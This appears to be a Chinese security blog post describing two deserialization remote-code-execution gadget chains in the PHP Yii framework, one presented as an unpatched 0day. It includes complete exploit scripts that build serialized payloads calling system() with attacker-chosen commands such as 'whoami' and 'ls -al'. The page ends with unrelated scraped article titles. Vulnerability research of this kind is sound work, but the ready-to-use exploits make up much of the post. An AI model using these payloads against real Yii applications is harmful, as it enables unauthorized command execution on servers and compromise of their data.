Yii框架反序列化RCE利用链2(官方无补丁)

Author:AdminTony

1.寻找反序列化点

全局搜索__wakeup函数,如下:

找到\symfony\string\UnicodeString类,其__wakeup方法中调用了normalizer_is_normalized方法。

该方法要求传入的内容是字符串。且$this->string可控,那么只要找到一条由__toString方法构造的利用链即可。

全局搜索__toString方法,寻找可用的点,最终找到:

($this->value)()这种形式,函数名可控,然后结合IndexAction类的run方法即可形成反序列化利用链。

最终利用链:

\yii\rest\IndexAction->run()\symfony\string\LazyString->__toString()\symfony\string\UnicodeString->stringnormalizer_is_normalized()\symfony\string\UnicodeString->__wakeup()

2.构造payload

  • 实例化\yii\rest\IndexAction类,设置其$checkAccess变量、$id变量和$config变量

  • 实例化\symfony\string\LazyString类,设置其$value变量为IndexAction类和run方法数组

  • 实例化\symfony\string\UnicodeString类,设置其$string变量值为LazyString类。

最终Exp:

<?php namespace Symfony\Component\String{    class UnicodeString{        public $string;    }    class LazyString{        public $value;    }}namespace yii\rest{    class IndexAction{        public $id;        public $controller;        public $config;        public $checkAccess;    }}namespace {    //use Symfony\Component\String;    //use yii\rest;    //1,'\yii\web\Controller',['modelClass'=>'\yii\db\BaseActiveRecord']    $indexAction = new yii\rest\IndexAction();    $indexAction->id = 'whoami'; // 修改执行的函数值,如whoami    $indexAction->controller = '\yii\web\Controller';    $indexAction->config = ['modelClass'=>'\yii\db\BaseActiveRecord'];    $indexAction->checkAccess = 'system'; // 修改执行的函数名,如system    $lazyString = new Symfony\Component\String\LazyString();    $lazyString -> value =[$indexAction,"run"];    $unicodeStringObj = new Symfony\Component\String\UnicodeString();    $unicodeStringObj->string=$lazyString;    var_dump(base64_encode(serialize($unicodeStringObj)));}

效果如下:

Yii框架反序列化RCE利用链3(0day)

Author:AdminTony

挖到以后,去翻了下朋友圈,发现已经有师傅在昨天晚上公开了。

1.寻找__destruct方法

寻找__destruct方法的时候主要注意几个点:

  • 该__destruct方法中是否有call_user_func($this->test,[$this->arr])或者$this->test()类型的可控函数

  • 该__destruct调用过程中,有没有$this->reader->getUser()类型的调用,此类调用有两种跳板选择方法

    • 找getUser函数,通过getUser函数找到一条代码执行利用链

    • 找__call函数,通过__call函数找到一条代码执行利用链条

  • 该__destruct调用过程中,是否能触发其他魔法函数,比如test($this->tests),test函数要求传入String类型参数时,如果我们设置的$this->tests是一个类,则会自动调用该类的__toString方法,然后从__toString找到一个反序列化利用链。

本着这几点思路,开始寻找。

vendor/codeception/codeception/ext/RunProcess.php代码片段:

__destruct方法中调用了stopProcess方法,该方法$process可控,从而形成$this->reader->getUser()类型调用,我们可以寻找isRunning函数的代码作为跳板或者__call函数的代码执行作为跳板。

2.寻找跳板

vendor/fzaninotto/faker/src/Faker/Generator.php代码片段:

跟进format函数:

找到call_user_func_array,那么我们只需要让$this->getFormatter($formatter)的结果是我们指定的函数即可。

也就是说,$this->formatters['isRunning']设置为想要执行的函数即可,而$arguments我们不可控。只能传入一个对象做函数,借助[(new test),"run"]这样的调用实现代码执行。

正则:call_user_func[_\w+]*\(\$this->[_\$\w]*,\s*\$this-

这样的可用类只有两个IndexActionCreateAction

代码片段来源于:vendor/yiisoft/yii2/rest/IndexAction.php

从而形成一条反序列化RCE利用链。

3.Exp编写

其实Exp编写也是一项比较有意思的活。最开始我总是在controller里面直接实例化利用链里面的几个类,发现还的分析__construct方法,看传入的值,有时候父类太多一直调用parent::__construct也是挺烦的,后来这两天看米斯特的奶权师傅直接重新定义了一个类,然后把必要的值传入其中。试了下,这个方法真的好用,再也不用管__construct方法了。

说了这么多废话,开始放EXP:

<?php // RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->runnamespace Codeception\Extension{    class RunProcess{        public $processes;    }}namespace Faker{    class Generator{        public $formatters;    }}namespace yii\rest{    class IndexAction{        public $checkAccess;        public $id;    }    class UpdateAction{        public $checkAccess;        public $id;    }}namespace {    //$indexAction = new yii\rest\IndexAction('whoami',1,["modelClass"=>'BaseActiveRecord']);    $indexAction = new yii\rest\IndexAction();    $indexAction->id = 'ls -al';    $indexAction->checkAccess = 'system';    $generator = new Faker\Generator();    $generator->formatters = ["isRunning"=>[$indexAction,"run"]];    $runProcess = new Codeception\Extension\RunProcess();    $runProcess->processes = array($generator);    //$runProcess->setProcesses(array($generator));    var_dump(base64_encode(serialize($runProcess)));}

php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2相关推荐

  1. java反序列化终极工具_检测java反序列化漏洞

    java反序列化终极测试工具是一款检测java反序列化漏洞工具,直接将Jboss.Websphere和weblogic的反序列化漏洞的利用集成到了一起.java反序列化漏洞已经被曝出一段时间了,其强大 ...

  2. java实现系列化的jdk_Java反序列化之与JDK版本无关的利用链挖掘

    原标题:Java反序列化之与JDK版本无关的利用链挖掘 Java反序列化之与JDK版本无关的利用链挖掘 一.前言: 总感觉年纪大了,脑子不好使,看过的东西很容易就忘了,最近两天又重新看了下java反序 ...

  3. expsky.php,Typecho漏洞利用工具首发,半分钟完成渗透

    原标题:Typecho漏洞利用工具首发,半分钟完成渗透 *本文原创作者:expsky,本文属FreeBuf原创奖励计划,未经许可禁止转载 声明:本工具由expsky原创,仅用于技术研究,不恰当使用会对 ...

  4. 【1】高危漏洞利用工具 (2023.1.6更新)-- Apt_t00ls

    0x01 工具介绍 增加CNVD-2023-00895 包括:泛微.蓝凌.用友.万户.致远.通达.中间件.安全设备等多个高位漏洞. 泛微: e-cology workrelate_uploadOper ...

  5. Apt-t00ls-v0.6!高危漏洞利用工具

    工具介绍 这款工具集成了各种OA系统.中间件.安全设备的高危漏洞利用,文件落地方式.杀软进程对比.反弹shell生成等等功能. 关注[Hack分享吧]公众号,回复关键字[1111]获取下载链接 v0. ...

  6. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  7. 分享20个非常有用的Web开发工具和框架

    在开发中借助一些非常好用的工具可以帮助你节省大量的时间和精力.本文收集了20个非常有用的Web开发工具和框架,分享给大家,希望对你有帮助. 1. Blueprint Blueprint 是一款CSS框 ...

  8. 【网络安全】如何利用工具发现内部或外部网络攻击面

    关于Attack-Surface-Framework Attack-Surface-Framework(简称ASF)是一款功能强大的安全检测工具,可以帮助广大研究人员发现组织或企业网络系统的内部和外部 ...

  9. 反序列化 php R类型,pikachu-PHP反序列化、XXE、SSFR

    一.PHP反序列化 1.1概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize() 序列化说通俗点就是把一个对象变成可 ...

最新文章

  1. 中jsp加载不出来layui_为何渔具厂生产不出来钓鱼人理想中的鱼竿呢,厂家说臣妾做不到啊...
  2. php print_r this,PHP 打印函数之 print print_r
  3. boost::hana::remove_range_c用法的测试程序
  4. python模拟网页点击_python怎么模拟点击网页按钮
  5. 谁更了解你,是女朋友吗。不,是这些推荐算法。
  6. Spring集成JavaMail并利用线程池发送邮件
  7. MySQL 存储过程 if语句
  8. 如何检查python模块的版本?
  9. 数字化转型背景下的金融交易业务中台实践
  10. 复合索引列顺序对性能的影响
  11. Spring Cloud Hystrix服务容错 (学习总结)
  12. 零基础 VS2012 串口编程
  13. pycharm新建python文件快捷键_Pycharm快捷键
  14. word论文排版操作
  15. 推荐这3款图片流动特效神器,一键即可让照片“动”起来
  16. 桃源网盘php,桃源居业主自建论坛 - Powered by PHPWind
  17. 清理所有的java注册表_一些陈旧的注册表垃圾清理脚本:注册表冗余数据清理.reg...
  18. 亮度均匀性 matlab,亮度均匀性(Uniformity)
  19. SQL Server 查询 数据库 表格 大小
  20. linux修改默认22端口失败,【原创文章】修改亚马逊AWS EC2 LINUX系统SSH默认22端口失败的原因和解决办法...

热门文章

  1. jenkins即将重启问题
  2. IP地址的网络位与主机位
  3. linux常用命令(16)locate命令
  4. 屏幕抓取程序 (位图DDB的例子)
  5. RBD和AOF持久化对比
  6. 安卓巴士诚招版主,希望各位巴友踊跃加入我们!
  7. 轻松掌握IP子网划分的概念和操作方法
  8. 同方挑战惠普 大打“惠民”牌
  9. Python能做的事情很多别的编程语言也能做,python将会是昙花一现吗?看看这位程序员怎么说~
  10. 飞鸽传书下载最新版2013